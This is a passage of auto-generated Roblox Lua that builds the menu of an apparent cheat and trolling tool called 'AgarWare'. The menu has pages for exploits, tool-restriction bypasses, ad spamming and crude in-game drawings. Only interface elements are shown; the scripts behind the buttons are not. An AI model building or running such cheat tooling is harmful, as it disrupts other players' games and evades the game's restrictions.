G2L["170"]["Name"] = [[BBScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBButton G2L["171"] = Instance.new("TextButton", G2L["16f"]); G2L["171"]["TextSize"] = 14; G2L["171"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["171"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["171"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["171"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["171"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["171"]["Text"] = [[Bkit Disabler Bot]]; G2L["171"]["Name"] = [[BBButton]]; G2L["171"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBHelp G2L["172"] = Instance.new("TextButton", G2L["16f"]); G2L["172"]["TextSize"] = 14; G2L["172"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["172"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["172"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["172"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["172"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["172"]["Text"] = [[?]]; G2L["172"]["Name"] = [[BBHelp]]; G2L["172"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow G2L["173"] = Instance.new("Frame", G2L["165"]); G2L["173"]["BorderSizePixel"] = 0; G2L["173"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["173"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["173"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["173"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["173"]["Name"] = [[FFRow]]; G2L["173"]["LayoutOrder"] = 4; G2L["173"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFScript G2L["174"] = Instance.new("LocalScript", G2L["173"]); G2L["174"]["Name"] = [[FFScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFButton G2L["175"] = Instance.new("TextButton", G2L["173"]); G2L["175"]["TextSize"] = 14; G2L["175"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["175"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["175"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["175"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["175"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["175"]["Text"] = [[Monkey Gang Raider]]; G2L["175"]["Name"] = [[FFButton]]; G2L["175"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFHelp G2L["176"] = Instance.new("TextButton", G2L["173"]); G2L["176"]["TextSize"] = 14; G2L["176"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["176"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["176"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["176"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["176"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["176"]["Text"] = [[?]]; G2L["176"]["Name"] = [[FFHelp]]; G2L["176"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup G2L["177"] = Instance.new("Frame", G2L["12f"]); G2L["177"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["177"]["BorderMode"] = Enum.BorderMode.Middle; G2L["177"]["Size"] = UDim2.new(0, 170, 0, 82); G2L["177"]["Position"] = UDim2.new(0, 0, 0.58056, 0); G2L["177"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["177"]["Name"] = [[WeirdGroup]]; G2L["177"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdScript G2L["178"] = Instance.new("LocalScript", G2L["177"]); G2L["178"]["Name"] = [[WeirdScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.UIListLayout G2L["179"] = Instance.new("UIListLayout", G2L["177"]); G2L["179"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdAccentColor G2L["17a"] = Instance.new("Frame", G2L["177"]); G2L["17a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["17a"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["17a"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["17a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["17a"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["17a"]["Name"] = [[WeirdAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdTitle G2L["17b"] = Instance.new("TextLabel", G2L["177"]); G2L["17b"]["TextWrapped"] = true; G2L["17b"]["BorderSizePixel"] = 0; G2L["17b"]["TextSize"] = 14; G2L["17b"]["TextScaled"] = true; G2L["17b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["17b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17b"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["17b"]["BackgroundTransparency"] = 0.95; G2L["17b"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["17b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["17b"]["Text"] = [[idk i was bored]]; G2L["17b"]["LayoutOrder"] = 1; G2L["17b"]["Name"] = [[WeirdTitle]]; G2L["17b"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdTitle.WeirdMinimize G2L["17c"] = Instance.new("TextButton", G2L["17b"]); G2L["17c"]["BorderSizePixel"] = 0; G2L["17c"]["TextSize"] = 14; G2L["17c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["17c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17c"]["BackgroundTransparency"] = 1; G2L["17c"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["17c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["17c"]["Text"] = [[-]]; G2L["17c"]["Name"] = [[WeirdMinimize]]; G2L["17c"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow G2L["17d"] = Instance.new("Frame", G2L["177"]); G2L["17d"]["BorderSizePixel"] = 0; G2L["17d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["17d"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["17d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["17d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["17d"]["Name"] = [[SpamAdvertRow]]; G2L["17d"]["LayoutOrder"] = 21; G2L["17d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertScript G2L["17e"] = Instance.new("LocalScript", G2L["17d"]); G2L["17e"]["Name"] = [[SpamAdvertScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertButton G2L["17f"] = Instance.new("TextButton", G2L["17d"]); G2L["17f"]["TextSize"] = 14; G2L["17f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17f"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["17f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17f"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["17f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["17f"]["Text"] = [[Spam Adver Agar Ware]]; G2L["17f"]["Name"] = [[SpamAdvertButton]]; G2L["17f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow G2L["180"] = Instance.new("Frame", G2L["177"]); G2L["180"]["BorderSizePixel"] = 0; G2L["180"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["180"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["180"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["180"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["180"]["Name"] = [[PPBoomboxRow]]; G2L["180"]["LayoutOrder"] = 20; G2L["180"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxScript G2L["181"] = Instance.new("LocalScript", G2L["180"]); G2L["181"]["Name"] = [[PPBoomboxScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxButton G2L["182"] = Instance.new("TextButton", G2L["180"]); G2L["182"]["TextSize"] = 14; G2L["182"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["182"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["182"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["182"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["182"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["182"]["Text"] = [[Make a PP (Boombox)]]; G2L["182"]["Name"] = [[PPBoomboxButton]]; G2L["182"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow G2L["183"] = Instance.new("Frame", G2L["177"]); G2L["183"]["BorderSizePixel"] = 0; G2L["183"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["183"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["183"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["183"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["183"]["Name"] = [[PPBkitRow]]; G2L["183"]["LayoutOrder"] = 20; G2L["183"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitScript G2L["184"] = Instance.new("LocalScript", G2L["183"]); G2L["184"]["Name"] = [[PPBkitScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitButton G2L["185"] = Instance.new("TextButton", G2L["183"]); G2L["185"]["TextSize"] = 14; G2L["185"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["185"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["185"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["185"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["185"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["185"]["Text"] = [[Make a PP (Bkit)]]; G2L["185"]["Name"] = [[PPBkitButton]]; G2L["185"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide G2L["186"] = Instance.new("Frame", G2L["12e"]); G2L["186"]["BorderSizePixel"] = 0; G2L["186"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["186"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["186"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["186"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["186"]["Name"] = [[TCOTrollLeftSide]]; G2L["186"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.UIListLayout G2L["187"] = Instance.new("UIListLayout", G2L["186"]); G2L["187"]["Padding"] = UDim.new(0, 7); G2L["187"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup G2L["188"] = Instance.new("Frame", G2L["186"]); G2L["188"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["188"]["BorderMode"] = Enum.BorderMode.Middle; G2L["188"]["Size"] = UDim2.new(0, 170, 0, 144); G2L["188"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["188"]["Name"] = [[BypassGroup]]; G2L["188"]["LayoutOrder"] = 3; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassScript G2L["189"] = Instance.new("LocalScript", G2L["188"]); G2L["189"]["Name"] = [[BypassScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassToolTip G2L["18a"] = Instance.new("LocalScript", G2L["188"]); G2L["18a"]["Name"] = [[BypassToolTip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.UIListLayout G2L["18b"] = Instance.new("UIListLayout", G2L["188"]); G2L["18b"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassAccentColor G2L["18c"] = Instance.new("Frame", G2L["188"]); G2L["18c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["18c"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["18c"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["18c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["18c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["18c"]["Name"] = [[BypassAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassTitle G2L["18d"] = Instance.new("TextLabel", G2L["188"]); G2L["18d"]["TextWrapped"] = true; G2L["18d"]["BorderSizePixel"] = 0; G2L["18d"]["TextSize"] = 14; G2L["18d"]["TextScaled"] = true; G2L["18d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["18d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["18d"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["18d"]["BackgroundTransparency"] = 0.95; G2L["18d"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["18d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18d"]["Text"] = [[Tool Bypass]]; G2L["18d"]["LayoutOrder"] = 1; G2L["18d"]["Name"] = [[BypassTitle]]; G2L["18d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassTitle.BypassMinimize G2L["18e"] = Instance.new("TextButton", G2L["18d"]); G2L["18e"]["BorderSizePixel"] = 0; G2L["18e"]["TextSize"] = 14; G2L["18e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["18e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["18e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["18e"]["BackgroundTransparency"] = 1; G2L["18e"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["18e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18e"]["Text"] = [[-]]; G2L["18e"]["Name"] = [[BypassMinimize]]; G2L["18e"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow G2L["18f"] = Instance.new("Frame", G2L["188"]); G2L["18f"]["BorderSizePixel"] = 0; G2L["18f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["18f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["18f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["18f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18f"]["Name"] = [[PaintBypassRow]]; G2L["18f"]["LayoutOrder"] = 5; G2L["18f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassScript G2L["190"] = Instance.new("LocalScript", G2L["18f"]); G2L["190"]["Name"] = [[PaintBypassScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassTickBox G2L["191"] = Instance.new("TextButton", G2L["18f"]); G2L["191"]["TextSize"] = 14; G2L["191"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["191"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["191"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["191"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["191"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["191"]["Text"] = [[]]; G2L["191"]["Name"] = [[PaintBypassTickBox]]; G2L["191"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassText G2L["192"] = Instance.new("TextLabel", G2L["18f"]); G2L["192"]["BorderSizePixel"] = 0; G2L["192"]["TextSize"] = 14; G2L["192"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["192"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["192"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["192"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["192"]["BackgroundTransparency"] = 1; G2L["192"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["192"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["192"]["Text"] = [[Paint]]; G2L["192"]["Name"] = [[PaintBypassText]]; G2L["192"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow G2L["193"] = Instance.new("Frame", G2L["188"]); G2L["193"]["BorderSizePixel"] = 0; G2L["193"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["193"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["193"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["193"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["193"]["Name"] = [[DeleteBypassRow]]; G2L["193"]["LayoutOrder"] = 4; G2L["193"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassScript G2L["194"] = Instance.new("LocalScript", G2L["193"]); G2L["194"]["Name"] = [[DeleteBypassScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassTickBox G2L["195"] = Instance.new("TextButton", G2L["193"]); G2L["195"]["TextSize"] = 14; G2L["195"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["195"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["195"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["195"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["195"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["195"]["Text"] = [[]]; G2L["195"]["Name"] = [[DeleteBypassTickBox]]; G2L["195"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassText G2L["196"] = Instance.new("TextLabel", G2L["193"]); G2L["196"]["BorderSizePixel"] = 0; G2L["196"]["TextSize"] = 14; G2L["196"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["196"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["196"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["196"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["196"]["BackgroundTransparency"] = 1; G2L["196"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["196"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["196"]["Text"] = [[Delete]]; G2L["196"]["Name"] = [[DeleteBypassText]]; G2L["196"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow G2L["197"] = Instance.new("Frame", G2L["188"]); G2L["197"]["BorderSizePixel"] = 0; G2L["197"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["197"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["197"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["197"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["197"]["Name"] = [[ShapeBypassRow]]; G2L["197"]["LayoutOrder"] = 6; G2L["197"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassScript G2L["198"] = Instance.new("LocalScript", G2L["197"]); G2L["198"]["Name"] = [[ShapeBypassScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassTickBox G2L["199"] = Instance.new("TextButton", G2L["197"]); G2L["199"]["TextSize"] = 14; G2L["199"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["199"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["199"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["199"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["199"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["199"]["Text"] = [[]]; G2L["199"]["Name"] = [[ShapeBypassTickBox]]; G2L["199"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassText G2L["19a"] = Instance.new("TextLabel", G2L["197"]); G2L["19a"]["BorderSizePixel"] = 0; G2L["19a"]["TextSize"] = 14; G2L["19a"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["19a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["19a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19a"]["BackgroundTransparency"] = 1; G2L["19a"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["19a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19a"]["Text"] = [[Shape]]; G2L["19a"]["Name"] = [[ShapeBypassText]]; G2L["19a"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow G2L["19b"] = Instance.new("Frame", G2L["188"]); G2L["19b"]["BorderSizePixel"] = 0; G2L["19b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["19b"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["19b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["19b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19b"]["Name"] = [[ShovelBypassRow]]; G2L["19b"]["LayoutOrder"] = 7; G2L["19b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassScript G2L["19c"] = Instance.new("LocalScript", G2L["19b"]); G2L["19c"]["Name"] = [[ShovelBypassScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassTickBox G2L["19d"] = Instance.new("TextButton", G2L["19b"]); G2L["19d"]["TextSize"] = 14; G2L["19d"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["19d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["19d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19d"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["19d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["19d"]["Text"] = [[]]; G2L["19d"]["Name"] = [[ShovelBypassTickBox]]; G2L["19d"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassText G2L["19e"] = Instance.new("TextLabel", G2L["19b"]); G2L["19e"]["BorderSizePixel"] = 0; G2L["19e"]["TextSize"] = 14; G2L["19e"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["19e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["19e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19e"]["BackgroundTransparency"] = 1; G2L["19e"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["19e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19e"]["Text"] = [[Shovel]]; G2L["19e"]["Name"] = [[ShovelBypassText]]; G2L["19e"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow G2L["19f"] = Instance.new("Frame", G2L["188"]); G2L["19f"]["BorderSizePixel"] = 0; G2L["19f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["19f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["19f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["19f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19f"]["Name"] = [[SignBypassRow]]; G2L["19f"]["LayoutOrder"] = 8; G2L["19f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassScript G2L["1a0"] = Instance.new("LocalScript", G2L["19f"]); G2L["1a0"]["Name"] = [[SignBypassScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassTickBox G2L["1a1"] = Instance.new("TextButton", G2L["19f"]); G2L["1a1"]["TextSize"] = 14; G2L["1a1"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], 